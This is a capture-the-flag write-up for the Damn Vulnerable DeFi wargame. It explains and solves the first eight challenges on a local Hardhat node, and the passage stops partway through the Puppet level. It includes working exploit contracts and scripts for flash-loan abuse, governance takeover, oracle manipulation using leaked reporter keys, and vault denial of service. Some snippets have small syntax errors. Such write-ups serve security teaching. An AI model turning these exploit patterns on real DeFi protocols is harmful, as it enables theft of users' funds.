Capture the flag · DeFi

Damn Vulnerable DeFi

Flash loans, price oracles, governance, NFTs, DEXs, lending pools, smart-contract wallets and timelocks — fifteen challenges in offensive DeFi security, solved on a local Hardhat fork with Ethers.js.

HardhatEthers.jsFlash loansOracle manipulation15 levels

Setup & common contracts

This series walks through the Damn Vulnerable DeFi wargame — the place to learn offensive security of DeFi smart contracts on Ethereum. Featuring flash loans, price oracles, governance, NFTs, DEXs, lending pools, smart-contract wallets, timelocks and more. Every contract is exploited against a local Hardhat node running in the background.

I'd recommend the ethereum101, solidity 101 and solidity 201 modules of the Secureum bootcamp, plus some grounding in Uniswap V2/V3 and flash loans before taking these on. Solved with Hardhat and Ethers.js.

Clone the repo
$ git clone https://github.com/ramachandrareddy352/damn-vulnerable-defi/
$ cd damn-vulnerable-defi
$ yarn install
  • All challenge files live in the test folder and contracts in the contracts folder. To complete a challenge you write your exploit inside it('Execution', async function () {}) of that test file.
  • All player-attack contracts I wrote sit in the player-attack folder inside contracts.
How to play
  • Clone the repository and checkout v3.0.0.
  • Install dependencies with yarn; code your solution in the *.challenge.js file inside each challenge folder.
  • Run with yarn run challenge-name. If the test passes, you've solved it.
  • You must use the account called player — in Ethers that's .connect(player). Some challenges require deploying custom contracts.
Common ERC contracts

A few standard ERC contracts are reused across challenges.

DamnValuableNFT.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "solady/src/auth/OwnableRoles.sol";

contract DamnValuableNFT is ERC721, ERC721Burnable, OwnableRoles {
    uint256 public constant MINTER_ROLE = _ROLE_0;
    uint256 public tokenIdCounter;

    constructor() ERC721("DamnValuableNFT", "DVNFT") {
        _initializeOwner(msg.sender);
        _grantRoles(msg.sender, MINTER_ROLE);
    }

    function safeMint(address to) public onlyRoles(MINTER_ROLE) returns (uint256 tokenId) {
        tokenId = tokenIdCounter;
        _safeMint(to, tokenId);
        ++tokenIdCounter;
    }
}
DamnValuableToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "solmate/src/tokens/ERC20.sol";

contract DamnValuableToken is ERC20 {
    constructor() ERC20("DamnValuableToken", "DVT", 18) {
        _mint(msg.sender, type(uint256).max);
    }
}
DamnValuableTokenSnapshot.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";

contract DamnValuableTokenSnapshot is ERC20Snapshot {
    uint256 private _lastSnapshotId;

    constructor(uint256 initialSupply) ERC20("DamnValuableToken", "DVT") {
        _mint(msg.sender, initialSupply);
    }

    function snapshot() public returns (uint256 lastSnapshotId) {
        lastSnapshotId = _snapshot();
        _lastSnapshotId = lastSnapshotId;
    }

    function getBalanceAtLastSnapshot(address account) external view returns (uint256) {
        return balanceOfAt(account, _lastSnapshotId);
    }

    function getTotalSupplyAtLastSnapshot() external view returns (uint256) {
        return totalSupplyAt(_lastSnapshotId);
    }
}

01 Unstoppable

Contracts
UnstoppableVault.sol ReceiverUnstoppable.sol
Goal
  • There's a tokenized vault with a million DVT tokens deposited, offering free flash loans until the grace period ends.
  • To pass, make the vault stop offering flash loans. You start with 10 DVT tokens.
Solution
  • UnstoppableVault allows flash loans on DVT and implements the ERC4626 vault; it's Ownable. ReceiverUnstoppable receives those loans.
  • The objective is a Denial of Service (DoS) against the pool, achievable by exploiting flashLoan().
  • There are four checks to pass a call: amount == 0, address(asset) != _token, convertToShares(totalSupply) != balanceBefore, and the receiver callback selector check.
  • We can change convertToShares(totalSupply) by transferring tokens directly to the ERC4626 vault address — that balance isn't tracked, so balanceBefore never equals convertToShares(totalSupply).
  • uint256 balanceBefore = totalAssets();
    if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
  • This enforces the ERC4626 invariant; our direct transfer breaks it and the condition fails permanently.
unstoppable.challenge.js
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] Unstoppable', function () {
    let deployer, player, someUser;
    let token, vault, receiverContract;

    const TOKENS_IN_VAULT = 1000000n * 10n ** 18n;
    const INITIAL_PLAYER_TOKEN_BALANCE = 10n * 10n ** 18n;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

        [deployer, player, someUser] = await ethers.getSigners();

        token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
        vault = await (await ethers.getContractFactory('UnstoppableVault', deployer)).deploy(
            token.address,
            deployer.address, // owner
            deployer.address // fee recipient
        );
        expect(await vault.asset()).to.eq(token.address);

        await token.approve(vault.address, TOKENS_IN_VAULT);
        await vault.deposit(TOKENS_IN_VAULT, deployer.address);

        expect(await token.balanceOf(vault.address)).to.eq(TOKENS_IN_VAULT);
        expect(await vault.totalAssets()).to.eq(TOKENS_IN_VAULT);
        expect(await vault.totalSupply()).to.eq(TOKENS_IN_VAULT);
        expect(await vault.maxFlashLoan(token.address)).to.eq(TOKENS_IN_VAULT);
        expect(await vault.flashFee(token.address, TOKENS_IN_VAULT - 1n)).to.eq(0);
        expect(await vault.flashFee(token.address, TOKENS_IN_VAULT)).to.eq(50000n * 10n ** 18n);

        await token.transfer(player.address, INITIAL_PLAYER_TOKEN_BALANCE);
        expect(await token.balanceOf(player.address)).to.eq(INITIAL_PLAYER_TOKEN_BALANCE);

        /** Show it is possible for someUser to take out a flash loan */
        receiverContract = await (await ethers.getContractFactory('ReceiverUnstoppable', someUser)).deploy(
            vault.address
        );
        await receiverContract.executeFlashLoan(100n * 10n ** 18n);
    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        await token.connect(player).transfer(vault.address, INITIAL_PLAYER_TOKEN_BALANCE);
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

        // It is no longer possible to execute flash loans
        await expect(
            receiverContract.executeFlashLoan(100n * 10n ** 18n)
        ).to.be.reverted;
    });
});
Run
$ yarn run unstoppable

02 Naive Receiver

Contracts
NaiveReceiverLenderPool.sol FlashLoanReceiver.sol
Goal
  • A pool holds 1000 ETH and offers flash loans with a fixed 1 ETH fee. A user contract holds 10 ETH and can receive ETH flash loans.
  • Drain all ETH from the user's contract — ideally in one transaction.
Solution
  • NaiveReceiverLenderPool lends native ETH and charges 1 ETH per loan; FlashLoanReceiver receives and executes logic.
  • The onFlashLoan() callback never verifies the initiator — anyone can take a loan on behalf of that contract.
  • It only checks msg.sender is the pool, which is always true. By initiating 10 flash loans on behalf of the receiver, the 1 ETH fee each time drains it.
  • Call flashLoan() ten times with 0 amount and the receiver as borrower — 10 × 1 ETH fee = 10 ETH drained.
naive-receiver.challenge.js
const { ethers } = require('hardhat');
const { expect } = require('chai');
 
describe('[Challenge] Naive receiver', function () {
    let deployer, user, player;
    let pool, receiver;

    // Pool has 1000 ETH in balance
    const ETHER_IN_POOL = 1000n * 10n ** 18n;

    // Receiver has 10 ETH in balance
    const ETHER_IN_RECEIVER = 10n * 10n ** 18n;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, user, player] = await ethers.getSigners();

        const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer);
        const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer);
        
        pool = await LenderPoolFactory.deploy();
        await deployer.sendTransaction({ to: pool.address, value: ETHER_IN_POOL });
        const ETH = await pool.ETH();
        
        expect(await ethers.provider.getBalance(pool.address)).to.be.equal(ETHER_IN_POOL);
        expect(await pool.maxFlashLoan(ETH)).to.eq(ETHER_IN_POOL);
        expect(await pool.flashFee(ETH, 0)).to.eq(10n ** 18n);

        receiver = await FlashLoanReceiverFactory.deploy(pool.address);
        await deployer.sendTransaction({ to: receiver.address, value: ETHER_IN_RECEIVER });
        await expect(
            receiver.onFlashLoan(deployer.address, ETH, ETHER_IN_RECEIVER, 10n**18n, "0x")
        ).to.be.reverted;
        expect(
            await ethers.provider.getBalance(receiver.address)
        ).to.eq(ETHER_IN_RECEIVER);
    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const ETH = await pool.ETH();
        for(let i=0; i<10; i++) {
            await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x");
        }
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

        // All ETH has been drained from the receiver
        expect(
            await ethers.provider.getBalance(receiver.address)
        ).to.be.equal(0);
        expect(
            await ethers.provider.getBalance(pool.address)
        ).to.be.equal(ETHER_IN_POOL + ETHER_IN_RECEIVER);
    });
});
Run
$ yarn run naive-receiver

03 Truster

Contracts
TrusterLenderPool.sol
Goal
  • A pool offers free DVT flash loans and holds 1 million DVT. You have nothing.
  • Take all tokens out — ideally in a single transaction.
Solution
  • flashLoan() lets us make the pool call an arbitrary external contract with arbitrary data. Risky — any user can trigger calls where the pool itself is msg.sender.
  • We encode the token's approve() with our player as spender and the full pool balance as amount:
  • let interface = new ethers.utils.Interface(["function approve(address spender, uint256 amount)"]);
    let data = interface.encodeFunctionData("approve", [player.address, TOKENS_IN_POOL]);
  • The approval executes in the pool's context, so afterward we just transferFrom() the entire balance.
truster.challenge.js
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] Truster', function () {
    let deployer, player;
    let token, pool;

    const TOKENS_IN_POOL = 1000000n * 10n ** 18n;
 
    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, player] = await ethers.getSigners();

        token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
        pool = await (await ethers.getContractFactory('TrusterLenderPool', deployer)).deploy(token.address);
        expect(await pool.token()).to.eq(token.address);

        await token.transfer(pool.address, TOKENS_IN_POOL);
        expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL);

        expect(await token.balanceOf(player.address)).to.equal(0);
    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        let interface = new ethers.utils.Interface(["function approve(address spender, uint256 amount)"]);
        let data = interface.encodeFunctionData("approve", [player.address, TOKENS_IN_POOL]);

        await pool.connect(player).flashLoan(0, player.address, token.address, data);
        await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

        // Player has taken all tokens from the pool
        expect(
            await token.balanceOf(player.address)
        ).to.equal(TOKENS_IN_POOL);
        expect(
            await token.balanceOf(pool.address)
        ).to.equal(0);
    });
});
Run
$ yarn run truster

04 Side Entrance

Contracts
SideEntranceLenderPool.sol
Goal
  • A pool lets anyone deposit and withdraw ETH anytime. It holds 1000 ETH and offers free flash loans from those deposits.
  • Starting with 1 ETH, take all ETH from the pool.
Solution
  • The pool tracks balances in a mapping but checks its own balance via address(this).balance.
  • When flash-loaning, it only checks the token balance didn't decrease — accounting is ignored. Take a loan, then deposit() it back inside the callback, crediting yourself.
  • The loan check passes (tokens are back via deposit); afterward withdraw() the funds.
AttackSideEntranceLender.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
    
interface IPool {
    function flashLoan(uint256 amount) external;
    function deposit() external payable;
    function withdraw() external;
}
    
contract AttackSideEntranceLender {
    
    IPool immutable pool;
    address immutable player;
    
    constructor(address _pool, address _player){
        pool = IPool(_pool);
        player = _player;
    }
    
    function attack() external {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        (bool success, ) = player.call{value: address(this).balance}("");
        require(success);
    }
    
    function execute() external payable {
        require(tx.origin == player);
        require(msg.sender == address(pool));
        pool.deposit{value: msg.value}();
    }
    
    receive() external payable {}
}
side-entrance.challenge.js
const { ethers } = require('hardhat');
const { expect } = require('chai');
const { setBalance } = require('@nomicfoundation/hardhat-network-helpers');

describe('[Challenge] Side entrance', function () {
    let deployer, player;
    let pool;
 
    const ETHER_IN_POOL = 1000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 1n * 10n ** 18n;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, player] = await ethers.getSigners();

        // Deploy pool and fund it
        pool = await (await ethers.getContractFactory('SideEntranceLenderPool', deployer)).deploy();
        await pool.deposit({ value: ETHER_IN_POOL });
        expect(await ethers.provider.getBalance(pool.address)).to.equal(ETHER_IN_POOL);

        // Player starts with limited ETH in balance
        await setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
        expect(await ethers.provider.getBalance(player.address)).to.eq(PLAYER_INITIAL_ETH_BALANCE);

    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        this.attackerContract = await(await ethers.getContractFactory('AttackSideEntranceLender', player))deploy(
            pool.address, player.address
        );
        await this.attackerContract.attack();
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

        // Player took all ETH from the pool
        expect(await ethers.provider.getBalance(pool.address)).to.be.equal(0);
        expect(await ethers.provider.getBalance(player.address)).to.be.gt(ETHER_IN_POOL);
    });
});
Run
$ yarn run side-entrance

05 The Rewarder

Contracts
AccountingToken.sol FlashLoanerPool.sol RewardToken.sol TheRewarderPool.sol
Goal
  • A pool rewards depositors every 5 days. Alice, Bob, Charlie and David already deposited. You have no DVT but must claim most rewards next round.
  • Rumour says a new pool offers DVT flash loans…
Solution
  • TheRewarderPool doesn't consider how long you've staked, only your amount at a point in time — so a flash-loaned mega-stake captures the rewards.
  • Flash-loan DVT → deposit into the rewarder → it snapshots and distributes → withdraw → repay the loan, sending reward tokens to the player.
AttackTheRewarder.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
    
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
interface IFlashloanPool {
    function flashLoan(uint256 amount) external;
}

interface IRewardPool {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
}
    
contract AttackTheRewarder {
    IFlashloanPool immutable flashLoanPool;
    IRewardPool immutable rewardPool;
    IERC20 immutable liquidityToken;
    IERC20 immutable rewardToken;
    address immutable player;
    
    constructor(address _flashloanPool, address _rewardPool, address _liquidityToken, address _rewardToken) {
        flashLoanPool = IFlashloanPool(_flashloanPool);
        rewardPool = IRewardPool(_rewardPool);
        liquidityToken = IERC20(_liquidityToken);
        rewardToken = IERC20(_rewardToken);
        player = msg.sender;
    }
    
    function attack() external {
        flashLoanPool.flashLoan(liquidityToken.balanceOf(address(flashLoanPool)));
   }
    
    function receiveFlashLoan(uint256 amount) external {
        require(msg.sender == address(flashLoanPool));
        require(tx.origin == player);
    
        // Deposit --> Get Rewards --> Withdraw
        liquidityToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.withdraw(amount);
    
        // Pay back the loan & send reward tokens to player
        liquidityToken.transfer(address(flashLoanPool), amount);
        rewardToken.transfer(player, rewardToken.balanceOf(address(this)));
    }
}
the-rewarder.challenge.js
const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] The rewarder', function () {
    const TOKENS_IN_LENDER_POOL = 1000000n * 10n ** 18n; // 1 million tokens
    let users, deployer, alice, bob, charlie, david, player;
    let liquidityToken, flashLoanPool, rewarderPool, rewardToken, accountingToken;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

        [deployer, alice, bob, charlie, david, player] = await ethers.getSigners();
        users = [alice, bob, charlie, david];

        const FlashLoanerPoolFactory = await ethers.getContractFactory('FlashLoanerPool', deployer);
        const TheRewarderPoolFactory = await ethers.getContractFactory('TheRewarderPool', deployer);
        const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer);
        const RewardTokenFactory = await ethers.getContractFactory('RewardToken', deployer);
        const AccountingTokenFactory = await ethers.getContractFactory('AccountingToken', deployer);

        liquidityToken = await DamnValuableTokenFactory.deploy();
        flashLoanPool = await FlashLoanerPoolFactory.deploy(liquidityToken.address);

        // Set initial token balance of the pool offering flash loans
        await liquidityToken.transfer(flashLoanPool.address, TOKENS_IN_LENDER_POOL);

        rewarderPool = await TheRewarderPoolFactory.deploy(liquidityToken.address);
        rewardToken = RewardTokenFactory.attach(await rewarderPool.rewardToken());
        accountingToken = AccountingTokenFactory.attach(await rewarderPool.accountingToken());

        // Check roles in accounting token
        expect(await accountingToken.owner()).to.eq(rewarderPool.address);
        const minterRole = await accountingToken.MINTER_ROLE();
        const snapshotRole = await accountingToken.SNAPSHOT_ROLE();
        const burnerRole = await accountingToken.BURNER_ROLE();
        expect(await accountingToken.hasAllRoles(rewarderPool.address, minterRole | snapshotRole | burnerRole))to.be.true;

        // Alice, Bob, Charlie and David deposit tokens
        let depositAmount = 100n * 10n ** 18n; 
        for (let i = 0; i < users.length; i++) {
            await liquidityToken.transfer(users[i].address, depositAmount);
            await liquidityToken.connect(users[i]).approve(rewarderPool.address, depositAmount);
            await rewarderPool.connect(users[i]).deposit(depositAmount);
            expect(await accountingToken.balanceOf(users[i].address)).to.be.eq(depositAmount);
        }
        expect(await accountingToken.totalSupply()).to.be.eq(depositAmount * BigInt(users.length));
        expect(await rewardToken.totalSupply()).to.be.eq(0);

        // Advance time 5 days so that depositors can get rewards
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
        
        // Each depositor gets reward tokens
        let rewardsInRound = await rewarderPool.REWARDS();
        for (let i = 0; i < users.length; i++) {
            await rewarderPool.connect(users[i]).distributeRewards();
            expect(await rewardToken.balanceOf(users[i].address)).to.be.eq(rewardsInRound.div(users.length));
        }
        expect(await rewardToken.totalSupply()).to.be.eq(rewardsInRound);

        // Player starts with zero DVT tokens in balance
        expect(await liquidityToken.balanceOf(player.address)).to.eq(0);
        
        // Two rounds must have occurred so far
        expect(await rewarderPool.roundNumber()).to.be.eq(2);
    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
        this.attackerContract = await (await ethers.getContractFactory("AttackTheRewarder", player)).deploy(
            flashLoanPool.address, rewarderPool.address, liquidityToken.address, rewardToken.address
        )
        await this.attackerContract.attack();
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
        // Only one round must have taken place
        expect(await rewarderPool.roundNumber()).to.be.eq(3);

        // Users should get neglegible rewards this round
        for (let i = 0; i < users.length; i++) {
            await rewarderPool.connect(users[i]).distributeRewards();
            const userRewards = await rewardToken.balanceOf(users[i].address);
            const delta = userRewards.sub((await rewarderPool.REWARDS()).div(users.length));
            expect(delta).to.be.lt(10n ** 16n)
        }
        
        // Rewards must have been issued to the player account
        expect(await rewardToken.totalSupply()).to.be.gt(await rewarderPool.REWARDS());
        const playerRewards = await rewardToken.balanceOf(player.address);
        expect(playerRewards).to.be.gt(0);

        // The amount of rewards earned should be close to total available amount
        const delta = (await rewarderPool.REWARDS()).sub(playerRewards);
        expect(delta).to.be.lt(10n ** 17n);

        // Balance of DVT tokens in player and lending pool hasn't changed
        expect(await liquidityToken.balanceOf(player.address)).to.eq(0);
        expect(await liquidityToken.balanceOf(flashLoanPool.address)).to.eq(TOKENS_IN_LENDER_POOL);
    });
});
Run
$ yarn run the-rewarder

06 Selfie

Contracts
ISimpleGovernance.sol SelfiePool.sol SimpleGovernance.sol
Goal
  • A lending pool offers DVT flash loans plus a governance mechanism. You start with 0 DVT; the pool has 1.5 million. Take it all.
Solution
  • SimpleGovernance lets users propose and queue actions; SelfiePool exposes emergencyExit(), callable only by governance.
  • To queue an action you need ≥ 50% of DVT supply — which we get via a flash loan. In the callback, snapshot the token and queue an action calling emergencyExit(player).
  • Approve to repay the loan, fast-forward 2 days, then execute the queued action to drain the pool.
AttackSelfiePool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
    
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
interface IPool {
    function flashLoan(
        IERC3156FlashBorrower _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external returns (bool);
}
    
interface IGovernance {
    function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId);
}
    
interface IERC20Snapshot is IERC20 {
    function snapshot() external returns (uint256 lastSnapshotId);
}
    
contract AttackSelfiePool {
    
    // 1. Request a flash loan of all the tokens
    // 2. Queue a new action - emergencyExit(address player)
    // 3. Pay back the loan
    // 4. Wait 2 days
    // 5. Execute the action
    
    address immutable player;
    IPool immutable pool;
    IGovernance immutable governance;
    IERC20Snapshot immutable token;
    uint256 constant AMOUNT = 1_500_000 ether;
    
    constructor(address _pool, address _governance, address _token){
        player = msg.sender;
        pool = IPool(_pool);
        governance = IGovernance(_governance);
        token = IERC20Snapshot(_token);
    }
    
    function attack() external {
        pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), AMOUNT, "0x111");
    }
    
    function onFlashLoan(address, address, uint256, uint256, bytes calldata) external returns(bytes32) {
        require(tx.origin == player);
        require(msg.sender == address(pool));
    
        token.snapshot();
    
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", player);
        governance.queueAction(address(pool), 0, data);
    
        token.approve(address(pool), AMOUNT);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}
selfie.challenge.js
const { ethers } = require('hardhat');
const { expect } = require('chai');
const { time } = require("@nomicfoundation/hardhat-network-helpers");
    
describe('[Challenge] Selfie', function () {
    let deployer, player;
    let token, governance, pool;
    
    const TOKEN_INITIAL_SUPPLY = 2000000n * 10n ** 18n;
    const TOKENS_IN_POOL = 1500000n * 10n ** 18n;
        
    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, player] = await ethers.getSigners();
    
        // Deploy Damn Valuable Token Snapshot
        token = await (await ethers.getContractFactory('DamnValuableTokenSnapshot', deployer)).deploy(TOKEN_INITIAL_SUPPLY);
    
        // Deploy governance contract
        governance = await (await ethers.getContractFactory('SimpleGovernance', deployer)).deploy(token.address);
        expect(await governance.getActionCounter()).to.eq(1);
    
        // Deploy the pool
        pool = await (await ethers.getContractFactory('SelfiePool', deployer)).deploy(
            token.address,
            governance.address    
        );
        expect(await pool.token()).to.eq(token.address);
        expect(await pool.governance()).to.eq(governance.address);
            
        // Fund the pool
        await token.transfer(pool.address, TOKENS_IN_POOL);
        await token.snapshot();
        expect(await token.balanceOf(pool.address)).to.be.equal(TOKENS_IN_POOL);
        expect(await pool.maxFlashLoan(token.address)).to.eq(TOKENS_IN_POOL);
        expect(await pool.flashFee(token.address, 0)).to.eq(0);
    
    });
    
    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        this.attackContract = await (await ethers.getContractFactory("AttackSelfiePool", player)).deploy(pool.address, governance.address, token.address)
    
        await this.attackContract.attack();
        const ACTION_DELAY = 2 * 24 * 60 * 60 + 1;
        await time.increase(ACTION_DELAY);
    
        await governance.connect(player).executeAction(1);
    });
    
    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
    
        // Player has taken all tokens from the pool
        expect(await token.balanceOf(player.address)).to.be.equal(TOKENS_IN_POOL);        
        expect(await token.balanceOf(pool.address)).to.be.equal(0);
    });
});
Run
$ yarn run selfie

07 Compromised

Contracts
Exchange.sol TrustfulOracle.sol TrustfulOracleInitializer.sol
Goal
  • A strange server response leaks hex data. An on-chain exchange sells "DVNFT" at 999 ETH each, priced by an oracle of 3 trusted reporters.
  • Starting with 0.1 ETH, obtain all ETH in the exchange.
Solution
  • The leaked hex decodes (hex → UTF-8 → Base64 → UTF-8) into two private keys belonging to trusted oracle reporters.
  • The oracle uses getMedianPrice() over 3 reporters — controlling 2 is enough to set the median.
  • Drop the price to 1 wei via postPrice() with both keys, buy an NFT, raise the price back to 999 ETH, sell it, then restore the original price.
compromised.challenge.js
const { expect } = require('chai');
const { ethers } = require('hardhat');
const { setBalance } = require('@nomicfoundation/hardhat-network-helpers');
    
describe('Compromised challenge', function () {
    let deployer, player;
    let oracle, exchange, nftToken;
    
    const sources = [
        '0xA73209FB1a42495120166736362A1DfA9F95A105',
        '0xe92401A4d3af5E446d93D11EEc806b1462b39D15',
        '0x81A5D6E50C214044bE44cA0CB057fe119097850c'
    ];
    
    const EXCHANGE_INITIAL_ETH_BALANCE = 999n * 10n ** 18n;
    const INITIAL_NFT_PRICE = 999n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 1n * 10n ** 17n;
    const TRUSTED_SOURCE_INITIAL_ETH_BALANCE = 2n * 10n ** 18n;
    
    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, player] = await ethers.getSigners();
            
        // Initialize balance of the trusted source addresses
        for (let i = 0; i < sources.length; i++) {
            setBalance(sources[i], TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
            expect(await ethers.provider.getBalance(sources[i])).to.equal(TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
        }
            
        // Player starts with limited balance
        setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
        expect(await ethers.provider.getBalance(player.address)).to.equal(PLAYER_INITIAL_ETH_BALANCE);
            
        // Deploy the oracle and setup the trusted sources with initial prices
        const TrustfulOracleInitializerFactory = await ethers.getContractFactory('TrustfulOracleInitializer', deployer);
        oracle = await (await ethers.getContractFactory('TrustfulOracle', deployer)).attach(
            await (await TrustfulOracleInitializerFactory.deploy(
                sources,
                ['DVNFT', 'DVNFT', 'DVNFT'],
                [INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE]
            )).oracle()
        );

        // Deploy the exchange and get an instance to the associated ERC721 token
        exchange = await (await ethers.getContractFactory('Exchange', deployer)).deploy(
            oracle.address,
            { value: EXCHANGE_INITIAL_ETH_BALANCE }
        );
        nftToken = await (await ethers.getContractFactory('DamnValuableNFT', deployer)).attach(await exchange.token());
        expect(await nftToken.owner()).to.eq(ethers.constants.AddressZero); // ownership renounced
        expect(await nftToken.rolesOf(exchange.address)).to.eq(await nftToken.MINTER_ROLE());
    });
    
    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const PKEY1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
        const PKEY2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
        const signer1 = new ethers.Wallet(PKEY1, ethers.provider);
        const signer2 = new ethers.Wallet(PKEY2, ethers.provider);
    
        // Set Price - 1 WEI, and buy 1 NFT
        await oracle.connect(signer1).postPrice("DVNFT", 1);
        await oracle.connect(signer2).postPrice("DVNFT", 1);
        await exchange.connect(player).buyOne({value: 1});
    
        // Set Price - 999 ETH + 1 WEI, and sell 1 NFT
        await oracle.connect(signer1).postPrice("DVNFT", INITIAL_NFT_PRICE + BigInt(1));
        await oracle.connect(signer2).postPrice("DVNFT", INITIAL_NFT_PRICE + BigInt(1));
        await nftToken.connect(player).approve(exchange.address, 0);
        await exchange.connect(player).sellOne(0);
    
        // Set Original Price
        await oracle.connect(signer1).postPrice("DVNFT", INITIAL_NFT_PRICE);
        await oracle.connect(signer2).postPrice("DVNFT", INITIAL_NFT_PRICE);
    });
    
    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
            
        // Exchange must have lost all ETH
        expect(await ethers.provider.getBalance(exchange.address)).to.be.eq(0);
            
        // Player's ETH balance must have significantly increased
        expect(await ethers.provider.getBalance(player.address)).to.be.gt(EXCHANGE_INITIAL_ETH_BALANCE);
            
        // Player must not own any NFT
        expect(await nftToken.balanceOf(player.address)).to.be.eq(0);
    
        // NFT price shouldn't have changed
        expect(await oracle.getMedianPrice('DVNFT')).to.eq(INITIAL_NFT_PRICE);
    });
});
Run
$ yarn run compromised

08 Puppet

Contracts
PuppetPool.sol
Goal
  • There's a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
  • There's a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
  • Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.
Solution
  • There is a lending contract requiring your collateral to be worth twice as much as your loan to borrow.
  • borrow() function allow the user to borrow borrowAmount amount of token only if the user pay at least an amount of ETH equal to the double of the token price. If the user has paid more than requested, the difference is sent back to the user.
  • calculateDepositRequired(uint256 amount) that will calculate the amount of ETH you need to deposit given the amount of tokens you would like to borrow. Math seems to be fine, the order of operations to not incur in meth rounding error is respected.
  • _computeOraclePrice() function that will calculate the price of the token in the Uniswap V1 exchange DVT-ETH Pool. This price is used by calculateDepositRequired() to calculate the amount of ether needed to be deposited to borrow the tokens.
  • However, there is no flash loan in this challenge, instead, another bug in the computeOraclePrice() function makes this easily exploitable - it uses integer division to compute the price as:
    function computeOraclePrice() public view returns (uint256) {
        // this is wrong and will be 0 due to integer division as soon as the pool's token balance > ETH balance
        return uniswapOracle.balance.div(token.balanceOf(uniswapOracle));
    }
  • Approve the Uniswap exchange to receive the DVT tokens for exchange.
  • Sell all the tokens that we own for some ETH. Currently we know that 1 ETH = 1 DVT. tokenToEthSwapInput(amountIn, minAmountOut, deadline, receiver) will perform a swap saying: sell all the token and at least I want 1 ETH back (the minimum amount of tokenOut we expect). Make the transaction fail if it does not succeed before the specified deadline. After the swap, the price of the DVT token calculated by the Oracle inside the Puppet pool will drop. This will mean that for just a little ETH (the collateral) we will be able to borrow all the DVTs that are inside the pool.
